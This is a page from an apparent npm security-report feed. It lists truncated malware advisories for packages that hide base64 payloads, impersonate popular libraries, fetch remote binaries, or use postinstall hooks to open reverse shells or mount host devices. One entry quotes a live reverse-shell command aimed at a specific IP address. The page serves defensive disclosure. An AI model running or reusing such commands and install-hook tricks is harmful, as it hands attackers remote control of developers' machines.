npm security reports, with evidence.
Investigate malicious npm packages and AI-agent policy findings. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision. Malware findings and policy violations are labelled separately.
Security reports — page 612
Updated 26 Oct 2026, 13:06 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-11938 blocks this version. npm/@servicetitan/titan-chat-ui-cypress is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-...
OpenSSF/OSV malware advisory MAL-2026-11938 blocks this version. npm/@servicetitan/titan-chat-ui-cypress is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-...
OpenSSF/OSV malware advisory MAL-2026-11938 blocks this version. npm/@servicetitan/titan-chat-ui-cypress is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-...
OpenSSF/OSV malware advisory MAL-2026-11938 blocks this version. npm/@servicetitan/titan-chat-ui-cypress is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-...
OpenSSF/OSV malware advisory MAL-2026-11938 blocks this version. npm/@servicetitan/titan-chat-ui-cypress is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-...
OpenSSF/OSV malware advisory MAL-2026-11938 blocks this version. npm/@servicetitan/titan-chat-ui-cypress is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-...
OpenSSF/OSV malware advisory MAL-2026-11035 blocks this version. The package advertises pure calendar/streak math but its main entry (index.mjs) schedules an async routine on module impor...
OpenSSF/OSV malware advisory MAL-2026-10982 blocks this version. streak-daycount@1.0.0 ships an index.mjs whose top-level async IIFE runs on import. When the host is Linux and NODE_ENV is...
OpenSSF/OSV malware advisory MAL-2026-10960 blocks this version. The markscan package was published to the npm registry by user 'jonothhu' (maintainer email bruemleveroger@gmail.com) as o...
OpenSSF/OSV malware advisory MAL-2026-10765 blocks this version. The syft-acp-core package was published to the npm registry by user 'ada8877' (maintainer email k3mlol@proton.me) as part...
OpenSSF/OSV malware advisory MAL-2026-10439 blocks this version. index.js in react-hot-svg 1.1.4 hides both a shell command and a package name as base64 strings named `svgValidateKey` and...
OpenSSF/OSV malware advisory MAL-2026-11030 blocks this version. Package published as `vitest-axios` re-ships axios source, README, homepage, and repository metadata to impersonate the le...
OpenSSF/OSV malware advisory MAL-2026-11027 blocks this version. Package impersonates fs-extra by copying its description, homepage (github.com/jprichardson/node-fs-extra), and repository...
OpenSSF/OSV malware advisory MAL-2026-10439 blocks this version. index.js in react-hot-svg 1.1.4 hides both a shell command and a package name as base64 strings named `svgValidateKey` and...
OpenSSF/OSV malware advisory MAL-2026-10773 blocks this version. The package's Control.plugin() entry point calls PluginOptions(), which fetches a binary payload from https://raw.githubus...
OpenSSF/OSV malware advisory MAL-2026-10773 blocks this version. The package's Control.plugin() entry point calls PluginOptions(), which fetches a binary payload from https://raw.githubus...
OpenSSF/OSV malware advisory MAL-2026-10638 blocks this version. Package advertises itself as a bulk-mailing / mail-server abuse toolkit (homepage mntmc.rip) and ships modules for bulk ma...
OpenSSF/OSV malware advisory MAL-2026-10638 blocks this version. Package advertises itself as a bulk-mailing / mail-server abuse toolkit (homepage mntmc.rip) and ships modules for bulk ma...
OpenSSF/OSV malware advisory MAL-2026-11537 blocks this version. On npm install, the package's postinstall.js opens a TCP socket to 5.tcp.eu.ngrok.io:15496 and pipes the socket's bytes in...
OpenSSF/OSV malware advisory MAL-2026-11536 blocks this version. The package declares a postinstall lifecycle hook (`postinstall: node postinstall.js`) that opens a TCP socket to 5.tcp.eu...
OpenSSF/OSV malware advisory MAL-2026-11543 blocks this version. Package advertised as a date-formatting utility performs supply-chain attack behavior. package.json declares a postinstall...
OpenSSF/OSV malware advisory MAL-2026-11545 blocks this version. package.json declares a postinstall shell pipeline that attempts to mknod and mount the host block device at /tmp/hostroot...
OpenSSF/OSV malware advisory MAL-2026-11544 blocks this version. On npm install, package.json's postinstall hook launches a detached bash reverse shell over /dev/tcp to 124.221.154.135:44...
OpenSSF/OSV malware advisory MAL-2026-11513 blocks this version. internallib_v568@1.0.1 is shaped as a dependency-confusion artifact against a private package name. The main module export...
OpenSSF/OSV malware advisory MAL-2026-11547 blocks this version. package.json declares a postinstall lifecycle hook that executes `bash -i >& /dev/tcp/124.221.154.135/4444 0>&1 &`, openin...